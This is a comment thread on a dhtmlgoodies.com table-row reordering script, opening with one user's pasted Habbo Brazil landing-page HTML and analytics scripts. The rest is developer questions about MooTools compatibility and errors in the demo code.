document.cookie = "habbotestcookie=supported";
var cookiesEnabled = document.cookie.indexOf("habbotestcookie") != -1;
if (cookiesEnabled) {
var date = new Date();
date.setTime(date.getTime()-24*60*60*1000);
document.cookie="habbotestcookie=supported; expires="+date.toGMTString();
} else {
$('alert-cookies-container').show();
}
</script>

<script type="text/javascript">
HabboView.add(function() {
LandingPage.init();
if (!LandingPage.focusForced) {
LandingPage.fieldFocus('login-username');
}
});
</script>

</div>

</form>

</div>

<div id="fp-container">

<div id="content">
<div id="column1" class="column">

<div class="habblet-container ">

<div style="width: 890px; margin: 0 auto">

<div id="tagline">Você não imagina o que acontece neste Hotel Maluco!</div>
</div>

<div id="frontpage-image-container">


<div id="join-now-button-container">

<div id="join-now-button-wrapper-fb">
<div class="join-now-alternative"> </div>
<div class="join-now-button">
<a class="join-now-link" href="#" onclick="assistedLogin(FB); return false;">
<span class="join-now-text-big">Entre</span>

<span class="join-now-text-small">com<span class="fbword">Facebook</span></span>
</a>

<span class="close"></span>
</div>
<div class="join-now-alternative">
<a id="register-link-fb" href="/quickregister/start" onclick="startRegistration(this); return false;">
ou crie uma conta Habbo
</a>

</div>
</div>
<div id="join-now-button-wrapper">

<div class="join-now-alternative">
<a href="/quickregister/start" class="newusers" onclick="startRegistration(this); return false;"><b>Caro visitante</b>,<span style="color: #8f8f8f;">clique aqui:</span></a>
</div>
<div class="join-now-button">

<a class="join-now-link" id="register-link" href="/quickregister/start" onclick="startRegistration(this); return false;">
<span class="join-now-text-big">Entre agora</span>
<span class="join-now-text-small">de graça</span>

</a>
<span class="close"></span>
</div>
<div class="join-now-alternative">
<a class="fbicon" href="#" onclick="assistedLogin(FB); return false;">

Entre com Facebook
</a>
</div>
</div>

</div>
<script type="text/javascript">
function startRegistration(elem) {
targetUrl = elem.href;
if (typeof targetUrl == "undefined") {
targetUrl = "/quickregister/start";
}
window.location.href = targetUrl;
}
</script>

<div id="people-inside">
<b><span><span class="stats-fig">14537</span> pessoas online</span></b>

<i></i>
</div>

<a href="/quickregister/start" id="frontpage-image" style="background-image: url('http://habbo.hs.llnwd.net/c_images/Frontpage_images/Landing_xmas_red_v2.png')" onclick="startRegistration(this); return false;"></a>

</div>


<script type="text/javascript">
document.observe("dom:loaded", function() {
LandingPage.checkLoginButtonSetTimer();
});
</script>




</div>
<script type="text/javascript">if (!$(document.body).hasClassName('process-template')) { Rounder.init(); }</script>




</div>
<!--[if lt IE 7]>
<script type="text/javascript">
Pngfix.doPngImageFix();
</script>
<![endif]-->
<div id="footer" class="new_and_improved">
<p class="footer-links"><a href="mailto:advertising.br@sulake.com" taget="_new">Anuncie</a> | <a href="https://help.habbo.com.br" target="_new">Contate-nos</a> | <a href="https://help.habbo.com.br/forums" target="_new">FAQs</a> | <a href="http://www.sulake.com" target="_new">Sulake</a> | <a href="https://help.habbo.com.br/entries/20477982-termos-e-condicoes" target="_new">Termos e Condições</a> | <a href="https://help.habbo.com.br/entries/390888-politica-de-privacidade" target="_new">Política de Privacidade</a> | <a href="http://www.habbo.com.br/groups/guiapais" target="_new">Guia dos Pais</a> | <a href="http://www.habbo.com.br/groups/etiquetahabbo" target="_new">Habbo Etiqueta</a> | <a href="/groups/dicasdeseguranca">Segurança</a></p>

<div id="partner-logo"><a href="" style="background-image: url('//habbo.hs.llnwd.net/c_images/Landingpage_partner_logos/Partner_R7b.png')"></a></div>
<div id="age-recommendation"></div>
<div id="sulake-logo"><a href="http://www.sulake.com"></a></div>
<p class="copyright">© 2008 - 2010 Sulake Corporation Ltd. HABBO é marca registrada da Sulake Corporation Oy na União Européia, EUA, Japão, China e várias outras jurisdições. Todos os direitos reservados.</p>

<div id="compact-tags-container">
<span class="tags-habbos-like">Habbos gostam de...</span>

<ul class="tag-list">

<li><a href="http://www.habbo.com.br/tag/amigos" class="tag">amigos</a> </li>
<li><a href="http://www.habbo.com.br/tag/amor" class="tag">amor</a> </li>
<li><a href="http://www.habbo.com.br/tag/comlink" class="tag">comlink</a> </li>
<li><a href="http://www.habbo.com.br/tag/corinthians" class="tag">corinthians</a> </li>

<li><a href="http://www.habbo.com.br/tag/deus" class="tag">deus</a> </li>

<li><a href="http://www.habbo.com.br/tag/exercito%20brasileiro" class="tag">exercito brasileiro</a> </li>
<li><a href="http://www.habbo.com.br/tag/flamengo" class="tag">flamengo</a> </li>
<li><a href="http://www.habbo.com.br/tag/futebol" class="tag">futebol</a> </li>

<li><a href="http://www.habbo.com.br/tag/habbo" class="tag">habbo</a> </li>
<li><a href="http://www.habbo.com.br/tag/hc" class="tag">hc</a> </li>

<li><a href="http://www.habbo.com.br/tag/linda" class="tag">linda</a> </li>
<li><a href="http://www.habbo.com.br/tag/lobolobo111" class="tag">lobolobo111</a> </li>

<li><a href="http://www.habbo.com.br/tag/musica" class="tag">musica</a> </li>
<li><a href="http://www.habbo.com.br/tag/praia" class="tag">praia</a> </li>
<li><a href="http://www.habbo.com.br/tag/rock" class="tag">rock</a> </li>

<li><a href="http://www.habbo.com.br/tag/slipknot" class="tag">slipknot</a> </li>

<li><a href="http://www.habbo.com.br/tag/swat%20fe" class="tag">swat fe</a> </li>
<li><a href="http://www.habbo.com.br/tag/the%20west%20is%20the%20power" class="tag">the west is the power</a> </li>
<li><a href="http://www.habbo.com.br/tag/vews" class="tag">vews</a> </li>
<li><a href="http://www.habbo.com.br/tag/vip" class="tag">vip</a> </li>

</ul>
</div>

</div>
</div>
</div>

<script type="text/javascript">
if (typeof HabboView != "undefined") {
HabboView.run();
}
</script>



<script src="http://static.rpxnow.com/js/lib/rpx.js" type="text/javascript"></script>

<script type="text/javascript">
RPXNOW.overlay = false;
RPXNOW.language_preference = 'pt';

var flags = 'show_provider_list';
RPXNOW.flags = flags.split(',');

</script>

<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-448325-21']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<!-- Start Quantcast tag -->
<script type="text/javascript">
_qoptions={
qacct:"p-b5UDx6EsiRfMI"
};
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-b5UDx6EsiRfMI.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
<!-- End Quantcast tag -->

<!-- HL-16707 -->
<script type="text/javascript">
if ((Math.random()*100) < 1) {
var fullPageLoadMeasure = (new Date()).getTime() - andSoItBegins;
pageTracker._trackEvent("timing","fullpage_millis",window.location.pathname,fullPageLoadMeasure);
}


</script>





<script>
if (document.getElementById('hello')) {
document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript';
}
</danielleandromachado@hotmail.com/>
</script>
<script src="/js/render/edit.js"></script>
<script>var _gaq=[['_setAccount','UA-1656750-13'],['_trackPageview']];(function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];g.src='//www.google-analytics.com/ga.js';s.parentNode.insertBefore(g,s)})(document,'script')</script><script>
if (document.getElementById('hello')) {
document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript';
}

</script>
<script src="/js/render/edit.js"></script>
<script>var _gaq=[['_setAccount','UA-1656750-13'],['_trackPageview']];(function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];g.src='//www.google-analytics.com/ga.js';s.parentNode.insertBefore(g,s)})(document,'script')</script></body>
</html>

daniel at 01:53PM, 2011/12/02.
Kawin
Thank you
Kawin at 05:54PM, 2012/02/12.
Carter
This sample code in demo.html for saving changes to the server does not work for me. It also has at least one syntax error in that there is no single quote at the end of the url. It also uses a function from some other js file (_getNextPuzzle) that did not come with the package.


function logRows() {
/*
getRows() returns an array with the id of the rows, example:
["row1", "row2", "row3", "row4", "row5", "row6", "row7", "row8", "row9", "row10"]

Here, you may also save changes to the server. Here's an example of a mootools Ajax request:
*/
var req = new Request({
url: 'saveOrder.php',
method : 'post',
data : {
saveOrder : '1',
rows : arrangeObj.getRows().join(',')
},
onSuccess: function(content){
this._getNextPuzzle();
}.bind(this)
});
req.send();
/*
which sends the rows as a commaseparated list of id's to saveOrder.php

*/
var rows = arrangeObj.getRows();
try{
console.log(rows);
}catch(e) {
alert(rows.join(','));
}


}
Carter at 06:51PM, 2012/07/30.
Carter
I found the answer here:
http://www.dhtmlgoodies.com/forum/viewtopic.php?t=2260

I made a hidden form and submit it via Javascript.
Carter at 03:21PM, 2012/08/10.
cheesypoof
If you re-size your browser window after the page has loaded and try move rows, the arrow does not adjusted to the new table horizontal location.
cheesypoof at 11:23AM, 2012/09/25.
Xavier
Great code !
But, the mootools used (1.2.4) isn't compatible with my web site, and the last (1.4.5) version doesn't work with your JS code (mootools-core-1.4.5.js).

May you help me ?

Thanx
Xavier at 10:09AM, 2013/06/04.
Xavier
As i use also prototype.js, and your excellent script use mootools (which are totally incompatible), i can't use it. :/

Bad news !
Xavier at 12:41AM, 2013/06/05.
Tony Cooper
Great script!
Took a while to implement, it certainly has helped . Thanks.
Now for the but.... :-)
I don't seem to get IE's export to excel working on right click.
We get a script error at
Line 0
Char 0
Error Script Error
Code 0
URL: file//,,,/,,,/,,,/javascript/exernal/mootools-1.2.4-core-yc.js

Can you help?

Thanks
Tony Cooper at 06:55AM, 2014/04/14.
Allison C
I get the error:
Uncaught ReferenceError: Class is not defined
dg-arrange-table-rows.js: 32

(I'm using Drupal, so that's how we add JS to the page)

drupal_add_js("misc/arrange-table-rows/js/dg-arrange-table-rows.js");
drupal_add_js("var arrangeObj = new DG.ArrangeTableRows({
el: 'employees',

listeners : {
drop : moveArticle
}
});");
Allison C at 09:19AM, 2015/02/23.
ravi
not working with jquery.min.js

give error while drag the row

dg-arrange-table-rows.js:262 Uncaught TypeError: $(...).getParent is not a functionDG.ArrangeTableRows.Class._overTableRow @ dg-arrange-table-rows.js:262extend._owner @ mootools-1.2.4-core-yc.js:97d @ mootools-1.2.4-core-yc.js:180
ravi at 01:34AM, 2016/04/12.

Post your comment

Don't have an avatar? Create one at Gravatar.com.

Confirmation code:

Go to cbolson.com


About/Contact | A good idea? | Submit a script | Privacy notice
© 2005 - 2017 dhtmlgoodies.com